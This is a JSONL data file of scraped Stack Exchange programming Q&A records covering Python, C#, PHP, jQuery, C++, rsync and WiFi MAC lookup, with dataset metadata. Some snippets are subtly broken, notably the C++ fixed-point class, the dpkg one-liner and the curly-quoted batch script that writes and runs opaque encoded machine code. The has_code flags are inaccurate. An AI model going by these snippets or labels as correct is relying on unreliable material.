{"id": "hf_cc6308f0ccf6", "question": "<p>How can I count the number of elements in an array, because contrary to logic array.count(string) does not count all the elements in the array, it just searches for the number of occurrences of string.</p>\n", "question_body": "", "answer": "The method len() returns the number of elements in the list.\nSyntax:\n```\n```\nlen(myArray)\n```\n```\nEg:\n```\n```\nmyArray = [1, 2, 3]\nlen(myArray)\n```\n```\nOutput:\n```\n```\n3\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:14.541855"}
{"id": "hf_bc3c32aab225", "question": "<p>I'm trying to create a logger for a GWT application as an exercise to evaluate GWT. What I specifically want to do is have it so that I can post messages to a client side label at any point from the server side. So, if some interesting stuff has happened on the server the client can be updated.</p>\n\n<p>My First question is, is this possible, I can understand it not being.</p>\n\n<p>Second, if it is possible, where should I look for information, I've tried google and their documentation and all the showcases have nothing on this.</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "Well, there are a couple of Options.  You need to get the data from the server... So you either need to poll the server, or use server push.\nPolling is pretty easy.  Just use the\nTimer\nclass to repeatedly call a service to see what value it should be displaying.\nServer push is done using something like comet.\nhere\nis one implementation for gwt that looks somewhat promising.  They basic concept behind this is the browser sends a request to the server and keeps the connection open so the server is free to keep sending data back.\nComet is the better option if you can get it working.  It will probably be simpler and scale better.\nGood Luck!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:14.591360"}
{"id": "hf_972c573d418f", "question": "<p>Any ideas how i can best drive a USB POS printer from c#.\nPOS printers are usually serial, TCP/IP or USB based.\nI know how to accomplish serial and TCP/IP but have no idea about communications through USB in C#.\nI know that there is a layer available from Microsoft called POS.NET, but I want to try and avoid using this.\nAny ideas or any C# libraries that people can recomend would be really appreciated.  Thanks</p>\n", "question_body": "", "answer": "If the printer registers itself as a Human Interface Device, you can\nP/INVOKE into the appropriate Win32 APIs\n. Here are the signatures:\n```\n```\n[ DllImport( \"hid.dll\", SetLastError=true ) ]\n    public static extern Boolean \n    HidD_FlushQueue( SafeFileHandle HidDeviceObject );        \n\n    [ DllImport( \"hid.dll\", SetLastError=true ) ]\n    public static extern Boolean \n    HidD_FreePreparsedData( ref IntPtr PreparsedData );        \n\n    [ DllImport( \"hid.dll\", SetLastError=true ) ]\n    public static extern Boolean \n    HidD_GetAttributes(  SafeFileHandle HidDeviceObject\n                       , ref HIDD_ATTRIBUTES Attributes );        \n\n    [ DllImport( \"hid.dll\", SetLastError=true ) ]\n    public static extern Boolean \n    HidD_GetFeature(  SafeFileHandle HidDeviceObject\n                    , ref Byte lpReportBuffer\n                    , Int32 ReportBufferLength );        \n\n    [ DllImport( \"hid.dll\", SetLastError=true ) ]\n    public static extern Boolean \n    HidD_GetInputReport( SafeFileHandle HidDeviceObject\n                        ,ref Byte lpReportBuffer\n                        ,Int32 ReportBufferLength );        \n\n    [ DllImport( \"hid.dll\", SetLastError=true ) ]\n    public static extern void HidD_GetHidGuid( ref System.Guid HidGuid );\n\n    [ DllImport( \"hid.dll\", SetLastError=true ) ]\n    public static extern Boolean \n    HidD_GetNumInputBuffers(  SafeFileHandle HidDeviceObject\n                            , ref Int32 NumberBuffers );        \n\n    [ DllImport( \"hid.dll\", SetLastError=true ) ]\n    public static extern Boolean \n    HidD_GetPreparsedData( SafeFileHandle HidDeviceObject\n                          ,ref IntPtr PreparsedData );\n\n    [ DllImport( \"hid.dll\", SetLastError=true ) ]\n    public static extern Boolean \n    HidD_SetFeature(  SafeFileHandle HidDeviceObject\n                    , ref Byte lpReportBuffer\n                    , Int32 ReportBufferLength );\n\n    [ DllImport( \"hid.dll\", SetLastError=true ) ]\n    public static extern Boolean \n    HidD_SetNumInputBuffers( SafeFileHandle HidDeviceObject\n                            ,Int32 NumberBuffers );\n\n    [ DllImport( \"hid.dll\", SetLastError=true ) ]\n    public static extern Boolean \n    HidD_SetOutputReport( SafeFileHandle HidDeviceObject\n                         ,ref Byte lpReportBuffer\n                         ,Int32 ReportBufferLength );\n\n    [ DllImport( \"hid.dll\", SetLastError=true ) ]\n    public static extern Int32 \n    HidP_GetCaps( IntPtr PreparsedData, ref HIDP_CAPS Capabilities );\n\n    [ DllImport( \"hid.dll\", SetLastError=true ) ]\n    public static extern Int32 \n    HidP_GetValueCaps(  Int16 ReportType\n                      , ref Byte ValueCaps\n                      , ref Int16 ValueCapsLength\n                      , IntPtr PreparsedData );\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:14.616214"}
{"id": "hf_325edad4f5a8", "question": "<p>In my program, how can I read the properties set in AssemblyInfo.cs:</p>\n\n<pre><code>[assembly: AssemblyTitle(\"My Product\")]\n[assembly: AssemblyDescription(\"...\")]\n[assembly: AssemblyConfiguration(\"\")]\n[assembly: AssemblyCompany(\"Radeldudel inc.\")]\n[assembly: AssemblyProduct(\"My Product\")]\n[assembly: AssemblyCopyright(\"Copyright @ me 2008\")]\n[assembly: AssemblyTrademark(\"\")]\n[assembly: AssemblyCulture(\"\")]\n</code></pre>\n\n<p>I'd like to display some of these values to the user of my program, so I'd like to know how to load them from the main program and from komponent assemblies I'm using.</p>\n", "question_body": "", "answer": "This is reasonably easy. You have to use reflection. You need an instance of Assembly that represents the assembly with the attributes you want to read. An easy way of getting this is to do:\n```\n```\ntypeof(MyTypeInAssembly).Assembly\n```\n```\nThen you can do this, for example:\n```\n```\nobject[] attributes = assembly.GetCustomAttributes(typeof(AssemblyProductAttribute), false);\n\nAssemblyProductAttribute attribute = null;\nif (attributes.Length > 0)\n{\n   attribute = attributes[0] as AssemblyProductAttribute;\n}\n```\n```\nReferencing\n```\nattribute.Product\n```\nwill now give you the value you passed to the attribute in your AssemblyInfo.cs. Of course, if the attribute you look for can occur more than once, you may get multiple instances in the array returned by GetCustomAttributes, but this is not usually an issue for assembly level attributes like the ones you hope to retrieve.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:14.673096"}
{"id": "hf_bdfd7f1da274", "question": "<p>I have two arrays. One contains <code>id=&gt;count</code> and the other contains <code>id=&gt;name</code>. I'm trying to produce a single array that is <code>name=&gt;count</code>. Any suggestions on a straightforward way to do this?</p>\n\n<p>I have looked at the <a href=\"http://us2.php.net/manual/en/ref.array.php\" rel=\"nofollow noreferrer\">Array Functions in the PHP Manual</a> and didn't see anything that stood out as doing what I want, so I'm guessing I'll need a combination of functions, but I'm having trouble coming up with something that's not convoluted.</p>\n", "question_body": "", "answer": "Something like:\n```\n```\nforeach($countA as $id => $count)\n{\n    $newArray[$nameA[$id]] = $count;\n}\n```\n```\nThis does assume that the keys are in correspondence between the two arrays, since your requirements are ambiguous otherwise.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:14.734805"}
{"id": "hf_a459fc09486e", "question": "<p>I have a package that I just made and I have an \"old-mode\" that basically makes it work like it worked before: importing everything into the current namespace.  One of the nice things about having this as a package is that we no longer have to do that.  Anyway, what I would like to do is have it so that whenever anyone does:</p>\n\n<pre><code>use Foo qw(:oldmode);\n</code></pre>\n\n<p>I throw a warning that this is deprecated and that they should either import only what they need or just access functions with Foo->fun();</p>\n\n<p>Any ideas on how to do this?</p>\n", "question_body": "", "answer": "You write your own\n```\nsub import\n```\nin\n```\npackage Foo\n```\nthat will get called with the parameter list from\n```\nuse Foo\n```\n.\nAn example:\n```\n```\npackage Foo;\nuse Exporter;\n\nsub import {\n    warn \"called with paramters '@_'\";\n\n    # do the real import work\n    goto &{Exporter->can('import')};\n}\n```\n```\nSo in sub\n```\nimport\n```\nyou can search the argument list for the deprecated tag, and then throw a warning.\nUpdate\n: As Axeman points out, you should call\n```\ngoto &{Exporter->can('import')}\n```\n. This form of goto replaces the current subroutine call on the stack, preserving the current arguments (if any). That's needed because Exporter's import() method will export to its caller's namespace.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:14.771853"}
{"id": "hf_149d8cba37f7", "question": "<p>Is there a case insensitive version of the <a href=\"http://docs.jquery.com/Selectors/contains\" rel=\"noreferrer\">:contains</a> jQuery selector or should I do the work manually by looping over all elements and comparing their .text() to my string?</p>\n", "question_body": "", "answer": "What I ended up doing for jQuery 1.2 is :\n```\n```\njQuery.extend(\n    jQuery.expr[':'], { \n        Contains : \"jQuery(a).text().toUpperCase().indexOf(m[3].toUpperCase())>=0\" \n});\n```\n```\nThis will extend jquery to have a :Contains selector that is case insensitive, the :contains selector remains unchanged.\nEdit: For jQuery 1.3 (thanks @user95227) and later you need\n```\n```\njQuery.expr[':'].Contains = function(a,i,m){\n     return jQuery(a).text().toUpperCase().indexOf(m[3].toUpperCase())>=0;\n};\n```\n```\nEdit: \nApparently accessing the DOM directly by using\n```\n```\n(a.textContent || a.innerText || \"\")\n```\n```\ninstead of\n```\n```\njQuery(a).text()\n```\n```\nIn the previous expression speeds it up considerably so try at your own risk if speed is an issue. (see\n@John\n's\nquestion\n)\nLatest edit: For jQuery 1.8 it should be:\n```\n```\njQuery.expr[\":\"].Contains = jQuery.expr.createPseudo(function(arg) {\n    return function( elem ) {\n        return jQuery(elem).text().toUpperCase().indexOf(arg.toUpperCase()) >= 0;\n    };\n});\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:14.814945"}
{"id": "hf_2f287ea4e2a7", "question": "<p>Besides the unit testing benefits, what I heard regarding MVP pattern was that the reusability of the presentation layer.  So, you would design one presentation layer and use it for WinForms (rich) and Web.</p>\n\n<p>I am currently working on a windows forms application in .NET with possibility of creating a web UI in the future.  However, when I am designing the presentation layer and the interaction between the UI layer, I am not certain whether this notion of reusability is worth all the trouble.  I sometimes feel like I am \"dumbing down\" my presentation for the possible web UI, when it can be so much more when designed specifically for the windows forms UI.</p>\n\n<p>So, how many of you are reaping the benefits of the reusable presentation layer?\nDoes this reusability thing pan out in the real world?</p>\n", "question_body": "", "answer": "The value of MVC/MVP really lies in two different separations.\nSeparation between your presentation layer and your models (however you decide to implement them) is one of the more important principals software design for anything but simple systems. If you have any business logic or nonvisual logic in your application, you will definitely see the benefits of that separation.\nThe separation between presentation layer and controller seems a little less important to me. In rich client applications, you'll rarely see benefit from this separation; in web front ends, it's a lot more common (e.g., ASP.NET aspx and code-behind or J2EE jspx and servlet).\nMaybe I don't completely grasp the way you've explained MVP, but I wouldn't say that one of the benefits is the\nreusability\nof the presentation layer--rather, I would say that the primary benefit is the reusability of the models. This is also one of the primary benefits of using any n-tier system. If you want to expand and build a new type of front-end (e.g., WinForms, WPF, etc.), you can do so without trying to separate all your logic out of the web application you just built.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:14.845261"}
{"id": "hf_97e62351df12", "question": "<p>What's the best way of capturing an mp3 stream coming off of http and saving it to disk with python?</p>\n\n<p>Thus far I've tried</p>\n\n<pre><code>target = open(target_path, \"w\")\nconn = urllib.urlopen(stream_url)\nwhile True:\n    target.write(conn.read(buf_size))\n</code></pre>\n\n<p>This gives me data but its garbled or wont play in mp3 players.</p>\n", "question_body": "", "answer": "If you're on Windows, you might accidentally be doing CRLF conversions, corrupting the binary data.  Try opening\n```\ntarget\n```\nin binary mode:\n```\n```\ntarget = open(target_path, \"wb\")\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:14.894516"}
{"id": "hf_2dac8baf3449", "question": "<p>I used Visual Studio's Application Wizard to create a skeleton MFC program with a multi-document interface.  When I start this program, it automatically creates a child frame, which I don't want it to do - I need the main frame's client area to be empty until the user chooses to open a file.</p>\n\n<p>The debugger tells me that a CChildFrame object is created when the application class's InitInstance() function calls ProcessShellCommand(), but what is a good entry point for me to override this behaviour?</p>\n", "question_body": "", "answer": "This worked for me -- change\n```\n```\nif (!ProcessShellCommand(cmdInfo))\n```\n```\nto\n```\n```\nif (cmdInfo.m_nShellCommand != CCommandLineInfo::FileNew && !ProcessShellCommand(cmdInfo))\n```\n```\nin your app's InitInstance() function.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:14.943681"}
{"id": "hf_a5ced5c73682", "question": "<p>Can a WinForms app compiled for \"Any CPU\" be configured to run as \"x86\" on a 64-bit server without recompiling the app? Specifically, I'm looking for an app.config setting or Control Panel applet to accomplish this end. All the customer's clients are x86, but the server is x64, and we like to install the WinForms app on the server for administrators to configure and monitor the system. We would much rather not recompile just for the server.</p>\n", "question_body": "", "answer": "From\nhttp://www.request-response.com/blog/PermaLink,guid,34966ef8-3142-46b2-84e0-372b5c36ddcc.aspx\nYou can, however,  control and\n  override this default behaviour even\n  after your code has been compiled.\n  There's a handy tool called\n  corflags.exe present in the SDK that\n  allows you to force 'anycpu' compiled\n  code to use 32-bit process in 64-bit\n  world.\nThe usage of this utility is found here\nhttp://msdn.microsoft.com/en-us/library/ms164699(VS.80).aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:15.079695"}
{"id": "hf_a2506559d7bc", "question": "<p>I am aware of how to setup autocompletion of python objects in the python interpreter (on unix).  </p>\n\n<ul>\n<li>Google shows many hits for explanations on how to do this.</li>\n<li>Unfortunately, there are so many references to that it is difficult to find what I need to do, which is slightly different.</li>\n</ul>\n\n<p>I need to know how to enable, tab/auto completion of arbitrary items in a command-line program written in python.</p>\n\n<p>My specific use case is a command-line python program that needs to send emails.  I want to be able to autocomplete email addresses (I have the addresses on disk) when the user types part of it (and optionally presses the TAB key).</p>\n\n<p>I do not need it to work on windows or mac, just linux.</p>\n", "question_body": "", "answer": "Use Python's\n```\nreadline\n```\nbindings.  For example,\n```\n```\nimport readline\n\ndef completer(text, state):\n    options = [i for i in commands if i.startswith(text)]\n    if state < len(options):\n        return options[state]\n    else:\n        return None\n\nreadline.parse_and_bind(\"tab: complete\")\nreadline.set_completer(completer)\n```\n```\nThe official\nmodule docs\naren't much more detailed, see the\nreadline docs\nfor more info.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:15.104215"}
{"id": "hf_5cd6005770dd", "question": "<p>I'm looking at maybe moving from an older AMD64 to a new Intel dual-core which is 32 bit. Installation isn't a problem but can I transfer all the installed apps? I haven't been\nable to find anything so far on Google except where the migration is to a similar platform and file-system. I won't change the filesystem but the platform will be different. Is there something on the lines of the \"World\" file in Gentoo?</p>\n", "question_body": "", "answer": "For everything you've used apt-get to install, if you want to create a record of what's installed run the following:\n```\n```\ndpkg -l|awk '/^ii\\s*(.*)\\s*/ {print $2}'|packages.txt\n```\n```\nThis will create a text file with all the packages you have installed.  Then after you do the install, create and run a script with the following:\n```\n```\n#!/bin/sh\nfor p in $(cat packages.txt); do apt-get install $p; done\n```\n```\nNotes:\n1) Since you're moving from 64 bit to 32 bit, some of the packages might not be compatible.  I would grep packages.txt for '64' before running the script above and find alternatives if they are needed.\n2) Anything you've installed from source, you'll have to make a note of and install from source again.\nGood luck!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:15.141252"}
{"id": "hf_d98bebf96fa7", "question": "<p>First of all, I'd like to say that this site is great!</p>\n\n<p>My question is, what are the reasons for the following 2 error messages?</p>\n\n<p>1) In VB.NET (I know this is a C# forum but my next question is from C# experience), property evaluation failed (I do this when putting a watch on an exception variable).</p>\n\n<p>2) In C#, method or class (Can't remember which) does not have a constructor. I think I got this with HttpContext or HttpApplication, which is a class if I remember correctly? Pretty sure it is as it has its own properties and methods.</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "1) Could be any number of reasons. Some properties just don't work nicely in a debugger. (Imagine watching DateTime.Now for changes!)\n2) You're trying to create an instance of a class which doesn't have an appropriate accessible constructor. Usually either the class only has static members, or there's a static member you're meant to use to get an instance. (Having said that, both the classes you've mentioned have public constructors.)\nMore precise error messages and situation descriptions would be helpful.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:15.166179"}
{"id": "hf_6297efff6e70", "question": "<p>Is there a tool that creates a diff of a file structure, perhaps based on an MD5 manifest. My goal is to send a package across the wire that contains new/updated files and a list of files to remove.  It needs to copy over new/updated files and remove files that have been deleted on the source file structure?</p>\n", "question_body": "", "answer": "You might try rsync. Depending on your needs, the command might be as simple as this:\n```\n```\nrsync -az --del /path/to/master dup-site:/path/to/duplicate\n```\n```\nQuoting from\nrsync's web site\n:\nrsync is an open source utility that\n  provides fast incremental file\n  transfer. rsync is freely available\n  under the GNU General Public License\n  and is currently being maintained by\n  Wayne Davison.\nOr, if you prefer\nwikipedia\n:\nrsync is a software application for\n  Unix systems which synchronizes files\n  and directories from one location to\n  another while minimizing data transfer\n  using delta encoding when appropriate.\n  An important feature of rsync not\n  found in most similar\n  programs/protocols is that the\n  mirroring takes place with only one\n  transmission in each direction. rsync\n  can copy or display directory contents\n  and copy files, optionally using\n  compression and recursion.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:15.206504"}
{"id": "hf_372163e6c5ac", "question": "<p>I know this is a bit of a newbie question, but are there equivalents to C#'s string operations in Java?</p>\n\n<p>Specifically, I'm talking about <code>String.Format</code> and <code>String.Join</code>.</p>\n", "question_body": "", "answer": "String.format\n. As for join, you need to write your own:\n```\n```\nstatic String join(Collection<?> s, String delimiter) {\n     StringBuilder builder = new StringBuilder();\n     Iterator<?> iter = s.iterator();\n     while (iter.hasNext()) {\n         builder.append(iter.next());\n         if (!iter.hasNext()) {\n           break;                  \n         }\n         builder.append(delimiter);\n     }\n     return builder.toString();\n }\n```\n```\nThe above comes from\nhttp://snippets.dzone.com/posts/show/91", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:15.255714"}
{"id": "hf_17ceabbf7263", "question": "<p>I've just seen this in the MS Visual Studio docs and the part in bold doesn't make sense to me. Is it wrong or am I not understanding it properly? If you run this, b appears to hold \"hello\" (as I would expect) and not \"h\".</p>\n\n<p>Strings are <em>immutable</em>--the contents of a string object cannot be changed after the object is created, although the syntax makes it appear as if you can do this. For example, when you write this code, the compiler actually creates a new string object to hold the new sequence of characters, <strong>and the variable b continues to hold \"h\"</strong>. </p>\n\n<p>string b = \"h\";</p>\n\n<p>b += \"ello\";</p>\n", "question_body": "", "answer": "You've done an addition AND an assignment in one step. Strings are immutable, but also a reference type.\n```\n```\nstring b = \"h\";\nb = b + \"ello\";\n```\n```\nWe can look at the pseudo-memory like this:\n```\n```\nstring b = \"h\";         // b    := 0x00001000 [\"h\"]\nstring tmp1 = \"ello\";   // tmp1 := 0x00002000 [\"ello\"]\nstring tmp2 = b + tmp1; // tmp2 := 0x00003000 [\"hello\"]\nstring b = tmp2;        // b    := 0x00003000 [\"hello\"]\n```\n```\nI'm not entirely sure where you're getting that text, because as I read the documentation for the\nstring\nclass I find (not that I think \"h\" actually gets garbage collected):\nStrings are immutable--the contents of a string object cannot be changed after the object is created, although the syntax makes it appear as if you can do this. For example, when you write this code, the compiler actually creates a new string object to hold the new sequence of characters, and that new object is assigned to b. The string \"h\" is then eligible for garbage collection.\n@Jon Skeet brings up that \"h\" will never be garbage collected due to string interning, and I agree with him, but even moreso the C# Standard agrees with him, otherwise the following from §2.4.4.5 String literals could not be true:\nEach string literal does not necessarily result in a new string instance. When two or more string literals that are equivalent according to the string equality operator (§7.9.7) appear in the same program, these string literals refer to the same string instance.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:15.291804"}
{"id": "hf_897e89d11c08", "question": "<p>In C++, what's the generic way to convert any floating point value (float) to <a href=\"http://en.wikipedia.org/wiki/Fixed-point_arithmetic\" rel=\"noreferrer\"><strong>fixed point</strong></a> (int, 16:16 or 24:8)?</p>\n\n<p><strong>EDIT:</strong> For clarification, fixed-point values have two parts to them: an integer part and a fractional part.  The integer part can be represented by a signed or unsigned integer data type.  The fractional part is represented by an unsigned data integer data type.</p>\n\n<p>Let's make an analogy with money for the sake of clarity.  The fractional part may represent cents -- a fractional part of a dollar.  The range of the 'cents' data type would be 0 to 99.  If a 8-bit unsigned integer were to be used for fixed-point math, then the fractional part would be split into 256 evenly divisible parts.</p>\n\n<p>I hope that clears things up.</p>\n", "question_body": "", "answer": "Here you go:\n```\n```\n// A signed fixed-point 16:16 class\nclass FixedPoint_16_16\n{\n    short          intPart;\n    unsigned short fracPart;\n\npublic:\n    FixedPoint_16_16(double d)\n    {\n        *this = d; // calls operator=\n    }\n\n    FixedPoint_16_16& operator=(double d)\n    {\n        intPart = static_cast<short>(d);\n        fracPart = static_cast<unsigned short>\n                    (numeric_limits<unsigned short> + 1.0)*d);\n        return *this;\n    }\n\n    // Other operators can be defined here\n};\n```\n```\nEDIT:\nHere's a more general class based on anothercommon way to deal with fixed-point numbers (and which KPexEA pointed out):\n```\n```\ntemplate <class BaseType, size_t FracDigits>\nclass fixed_point\n{\n    const static BaseType factor = 1 << FracDigits;\n\n    BaseType data;\n\npublic:\n    fixed_point(double d)\n    {\n        *this = d; // calls operator=\n    }\n\n    fixed_point& operator=(double d)\n    {\n        data = static_cast<BaseType>(d*factor);\n        return *this;\n    }\n\n    BaseType raw_data() const\n    {\n        return data;\n    }\n\n    // Other operators can be defined here\n};\n\nfixed_point<int, 8> fp1;           // Will be signed 24:8 (if int is 32-bits)\nfixed_point<unsigned int, 16> fp1; // Will be unsigned 16:16 (if int is 32-bits)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:15.316273"}
{"id": "hf_13df6a0d1fbf", "question": "<p>I'm writing a command line tool to help my web app. It needs a password to connect to the service. I'd like the script to show a password prompt so I don't have to pass it as a command line argument. </p>\n\n<p>That's easy enough, but I'd like it to not echo the password to the screen as it's typed. How can I do this with PHP? </p>\n\n<p>Bonus points for doing it in pure PHP (no <code>system('stty')</code>) and replacing the characters with <code>*</code>. </p>\n\n<p><strong>EDIT:</strong></p>\n\n<p>The script will run on a unix like system (linux or mac). The script is written in PHP, and will most likely stay like that.</p>\n\n<p>Also, for the record, the <code>stty</code> way of doing it is:</p>\n\n<pre><code>echo \"Password: \";\nsystem('stty -echo');\n$password = trim(fgets(STDIN));\nsystem('stty echo');\n// add a new line since the users CR didn't echo\necho \"\\n\";\n</code></pre>\n\n<p>I'd prefer to not have the <code>system()</code> calls in there.</p>\n", "question_body": "", "answer": "I guess that there is no simple way of doing it (actually I can't think of any way) without using stty -echo.\nIf you intent running it on windows, you could create a batch script that would provide the unechoed typed info to your php script.\n```\n```\n@echo off\ncls\nSET /P uname=Enter Username:\necho hP1X500P[PZBBBfh#b##fXf-V@`$fPf]f3/f1/5++u5>in.com\nset /p password=Enter password :<nul\nfor /f “tokens=*” %%i in (’in.com’) do set password=%%i\ndel in.com\necho.\nc:\\php\\php.exe d:\\php\\test.php %uname% “%password%”\nPause\n```\n```\nexample taken from\nhttp://www.indiangnu.org/2008/php-hide-user-input-using-batch-script-windows/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:15.345091"}
{"id": "hf_6bc22d130f56", "question": "<p>I have this:</p>\n\n<pre><code>public string Log\n        {\n            get { return log; }\n            protected set\n            {\n                if (log != value)\n                {\n                    MarkModified(PropertyNames.Log, log);\n                    log = value;\n                }\n            }\n\n        }\n</code></pre>\n\n<p>And my utility class for databinding does this:</p>\n\n<pre><code>PropertyInfo pi = ReflectionHelper.GetPropertyInfo(boundObjectType, sourceProperty);\n\nif (!pi.CanWrite)\n                SetReadOnlyCharacteristics(boundEditor);\n</code></pre>\n\n<p>But PropertyInfo.CanWrite does not care whether the set is publicly accessible, only that it exists.</p>\n\n<p>How can I determine if there's a <strong>public</strong> set, not just <strong>any</strong> set?</p>\n", "question_body": "", "answer": "You need to use the\nBindingFlags\n. Something like\n```\n```\nPropertyInfo property = type.GetProperty(\"MyProperty\", BindingFlags.Public | BindingFlags.SetProperty | BindingFlags.Instance);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:15.382489"}
{"id": "hf_2979557b2596", "question": "<p>I have a database called foo and a database called bar. I have a table in foo called tblFoobar that I want to move (data and all) to database bar from database foo. What is the SQL statement to do this?</p>\n", "question_body": "", "answer": "On SQL Server? and on the same database server? Use three part naming.\n```\n```\nINSERT INTO bar..tblFoobar( *fieldlist* )\nSELECT *fieldlist* FROM foo..tblFoobar\n```\n```\nThis just moves the data.  If you want to move the table definition (and other attributes such as permissions and indexes), you'll have to do something else.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:15.430643"}
{"id": "hf_c719015f9c7e", "question": "<p>How can I get the BSSID / MAC (Media Access Control) address of the wireless access point my system is connected to using C#?</p>\n\n<p>Note that I'm interested in the BSSID of the WAP. This is different from the MAC address of the networking portion of the WAP.</p>\n", "question_body": "", "answer": "The following needs to be executed programmatically:\n```\n```\nnetsh wlan show networks mode=Bssid | findstr \"BSSID\"\n```\n```\nThe above shows the access point's wireless MAC addresses which is different from:\n```\n```\narp -a | findstr 192.168.1.254\n```\n```\nThis is because the access point has 2 MAC addresses. One for the wireless device and one for the networking device. I want the wireless MAC but get the networking MAC using\narp\n.\nUsing the\nManaged Wifi API\n:\n```\n```\nvar wlanClient = new WlanClient();\nforeach (WlanClient.WlanInterface wlanInterface in wlanClient.Interfaces)\n{\n    Wlan.WlanBssEntry[] wlanBssEntries = wlanInterface.GetNetworkBssList();\n    foreach (Wlan.WlanBssEntry wlanBssEntry in wlanBssEntries)\n    {\n        byte[] macAddr = wlanBssEntry.dot11Bssid;\n        var macAddrLen = (uint) macAddr.Length;\n        var str = new string[(int) macAddrLen];\n        for (int i = 0; i < macAddrLen; i++)\n        {\n            str[i] = macAddr[i].ToString(\"x2\");\n        }\n        string mac = string.Join(\"\", str);\n        Console.WriteLine(mac);\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:15.466596"}
